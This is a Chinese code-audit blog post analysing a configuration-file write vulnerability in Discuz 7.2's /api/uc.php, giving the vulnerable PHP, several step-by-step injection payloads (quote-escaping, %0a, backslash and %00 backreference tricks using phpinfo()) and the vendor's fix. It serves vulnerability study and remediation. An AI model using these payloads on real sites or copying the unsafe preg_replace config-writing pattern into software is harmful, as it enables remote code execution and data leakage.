美文网首页PHP开发网络安全实验室
[代码审计]-PHP配置文件写漏洞

[代码审计]-PHP配置文件写漏洞

作者: 晴空歌 | 来源:发表于2017-07-16 21:27 被阅读160次

    问题

    阿里云安骑士报discuz 7.2版本的/api/uc.php存在代码写入漏洞,导致黑客可写入恶意代码获取uckey,最终进入网站后台,造成数据泄漏。

    漏洞代码

    function updateapps($get, $post) {
        ......
        #行360
        $configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
        $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
    
         //将POST收到子系统的uc_api写入配置文件,
        //对接收的参数增加addslashes避免直接输入[' | "] 闭包前面的符号,造成写任意代码
        $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i",
                        "define('UC_API', '".addslashes($UC_API)."');", $configfile);
    
        if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
            @fwrite($fp, trim($configfile));
            @fclose($fp);
        }
        ......
    }
    

    最开始处理这个漏洞时,只是照着网上的方案修复了一下,未求甚解。直到最近看了P神的博客,突然茅塞顿开。照葫芦画瓢写下这个漏洞的利用方法。

    后话:最好的修复方式应该是:与最新版系统对比不同。
    此外,当有开源系统发布新版时,也可以通过查看diff高效的发现旧旧版本安全漏洞。

    漏洞利用

    假设对方已经获取了你的UC_KEY,可以使用Dz自带的_authcode方法发送任意的请求。将漏洞代码简化如下:

    #读取配置,用请求参数中的UC_API替换文件内容,回写到文件中
    $file = file_get_contents('./config.php');
    
    $UC_API = $_REQUEST['uc_api'];
    $file = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $file);
    
    file_put_contents('./config.php', $file); 
    
    

    法1 (利用正则 .*? 的非贪婪匹配 )

    #第一步:插入',并用//注释后面的代码
    http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();//
    #config.php : 此时配置正常
          define('UC_API', 'aaa\');phpinfo();//');
    
    #第二步:uc_api=任意内容,利用正则将两个['aaa\']中的内容提换掉
    http://localhost/safe/conf_test.php?uc_api=ccb
    #confing.php:  掺入phpinfo 代码可执行
          define('UC_API', 'ccb');phpinfo();//');
    

    OR,使用 %0a将代码折行注释

    #第一步:插入',并折行注释后续代码
    http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();%0a//
    #config.php : 
          # define('UC_API', 'aaa\');phpinfo();
          # //');
    
    #第二步同上
    

    法2 (利用preg_replace 第二个参数,自动转义反斜线 '' )

    preg_replace.png

    正则替换的第二个参数会自动进行转义,将两个连续的\\,转义为一个\。 所以如果存在 {\\\'} 则会被转义为{\\'},最后多出来一个{'}

    #访问:
     http://localhost/safe/conf_test.php?uc_api=aaa\');phpinfo();//
    #config.php : 成功插入可执行代码
          define('UC_API', 'aaa\\'); phpinfo(); //');
    

    法3(利用正则\n|$n,将第n个子组替换到文本中)

    #正则替换子组功能示例
    $a = 'aa1234aa';
    $b = preg_replace('/aa(\d+)aa/', 'bb\1bb', $a);
    echo $b;
    //输出: bb1234bb。 详细说明见上图preg_replace.png
    

    %00 代表字符串Null,有各种文件相关的截断漏洞。 但addslashes( urldecode(%00) ) = '\0'。
    在正则中'\0' 正好表示完整模式的匹配文本,可以用来利用。

    #第一步:
    http://localhost/safe/conf_test.php?uc_api=aaa);phpinfo();//
    #config.php : 
          define('UC_API', 'aaa);phpinfo();//');
    
    #第二步:uc_api=%00
    #confing.php:  
           define('UC_API', '【define('UC_API', 'aaa\');】');phpinfo();//');
    
    #第三步:
    # todo,这个使用define来配置变量,在此处用%00这个方法不是很好实现漏洞利用,构造合规语法需要多次尝试。
    

    下面套用一个简单的例子:

    <?php 
    #conf_set.php  
    #配置文件使用 $option='xxx'; 形式来配置,覆盖语法一样
    $str = addslashes($_GET['option']);
    $file = file_get_contents('xxxxx/option.php');
    $file = preg_replace('|\$option=\'.*\';|',"\$option='$str';",$file);
    file_put_contents('xxxxx/option.php',$file);
    ?>
    
    漏洞复现:
    
    #第一次传入:;phpinfo();
         #文件内容:$option=';phpinfo();';
    
    #第二次传入:%00
         #%00被addslashes()转为\0,而\0在preg_replace函数中会被替换为“匹配到的全部内容”,
         #此时preg_replace要执行的代码如下:
         preg_replace('|\$option=\'.*\';|',"\$option='\0';",$file);
         
         #文件内容: $option='\$option=';  phpinfo(); ';';   
    
    #成功闭合
    

    漏洞修复

    官网修复方案:

    //1. 先过滤掉POST参数中的特殊字符
    if($post['UC_API']) {
        $UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
        unset($post['UC_API']);
            }
    
    ......
    //2. 写入文件前判断UC_API是否为url格式
    if(preg_match('/^https?:\/\//is', $UC_API)) {
        $configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
        $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
        
        $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", 
                     "define('UC_API', '".addslashes($UC_API)."');", $configfile);
        
        if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
            @fwrite($fp, trim($configfile));
            @fclose($fp);
        }
    }
    
    

    相关阅读:

    相关文章

      网友评论

      本文标题:[代码审计]-PHP配置文件写漏洞

      本文链接:https://www.haomeiwen.com/subject/ucfvcxtx.html